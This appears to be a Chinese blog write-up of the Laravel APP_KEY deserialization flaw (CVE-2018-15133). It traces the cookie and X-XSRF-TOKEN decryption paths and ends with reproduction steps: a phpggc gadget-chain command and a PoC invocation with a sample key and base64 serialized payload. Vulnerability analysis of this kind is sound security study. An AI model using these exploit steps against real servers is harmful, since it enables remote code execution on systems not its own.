laravel框架APP_KEY泄露的时候,可以通过cookie和X-XSRF-TOKEN触发反序列化漏洞,影响版本:5.5.x<=5.5.40、5.6.x<=5.6.29
环境安装
composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
修改composer.json中的5.6.0为5.6.29
更新:composer update
在routes/web.php新添加一条路由:Route::post('/', function() {return view('welcome');});
通过Cookie反序列化
跟踪代码app\Http\Middleware\EncryptCookies.php
<?php
namespace App\Http\Middleware;
use Illuminate\Cookie\Middleware\EncryptCookies as Middleware;
class EncryptCookies extends Middleware
{
protected $except = [
//
];
}
跟踪EncryptCookies的父类,vendor\laravel\framework\src\Illuminate\Cookie\Middleware\EncryptCookies.php,找到handle方法
public function handle($request, Closure $next)
{
return $this->encrypt($next($this->decrypt($request)));
}
继续跟进decrypt方法
protected function decrypt(Request $request)
{
foreach ($request->cookies as $key => $cookie) {
if ($this->isDisabled($key)) {
continue;
}
try {
$request->cookies->set($key, $this->decryptCookie($cookie));
} catch (DecryptException $e) {
$request->cookies->set($key, null);
}
}
return $request;
}
这里$request->cookies进行了遍历,将值传入了decryptCookie方法。继续跟进decryptCookie方法
protected function decryptCookie($cookie)
{
return is_array($cookie)
? $this->decryptArray($cookie)
: $this->encrypter->decrypt($cookie);
}
上面判断我们传入的是否为数组,不为数组进入到decrypt,跟进vendor\laravel\framework\src\Illuminate\Encryption\Encrypter.php的decrypt方法
跟进getJsonPayload方法
protected function getJsonPayload($payload)
{
$payload = json_decode(base64_decode($payload), true);
if (! $this->validPayload($payload)) {
throw new DecryptException('The payload is invalid.');
}
if (! $this->validMac($payload)) {
throw new DecryptException('The MAC is invalid.');
}
return $payload;
}
我们传入的payload会解密base64,再转化为json,所以这个iv和value是我们可控的,最终就可以来到第149行进行反序列化操作了。
通过X-XSRF-TOKEN头反序列化
跟踪代码app\Http\Middleware\VerifyCsrfToken.php
<?php
namespace App\Http\Middleware;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
class VerifyCsrfToken extends Middleware
{
protected $except = [
];
}
跟踪VerifyCsrfToken的父类,vendor\laravel\framework\src\Illuminate\Foundation\Http\Middleware\VerifyCsrfToken.php,找到handle方法
public function handle($request, Closure $next)
{
if (
$this->isReading($request) ||
$this->runningUnitTests() ||
$this->inExceptArray($request) ||
$this->tokensMatch($request)
) {
return $this->addCookieToResponse($request, $next($request));
}
throw new TokenMismatchException;
}
继续更进tokensMatch方法
protected function tokensMatch($request)
{
$token = $this->getTokenFromRequest($request);
return is_string($request->session()->token()) &&
is_string($token) &&
hash_equals($request->session()->token(), $token);
}
继续跟进getTokenFromRequest方法
第140行获取头X-XSRF-TOKEN,又来到熟悉的地方了,更新decrypt方法,跟cookie造成的洞是同一个点。
漏洞复现
获取APP_KEY,在根目录.env文件里
用phpggc获取laravel的反序列化的exp
php phpggc Laravel/RCE1 system "ipconfig" -b
利用kozmic的poc生成laravel rce的利用代码
php cve-2018-15133.php yyEsCy8SJCpScYkcEBvrRVHv9MDV43MliNS/4ETRJaw= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6ImlwY29uZmlnIjt9
参考文章
- Post link: http://yoursite.com/2020/08/14/LaravelAPP_KEY%E6%B3%84%E9%9C%B2RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues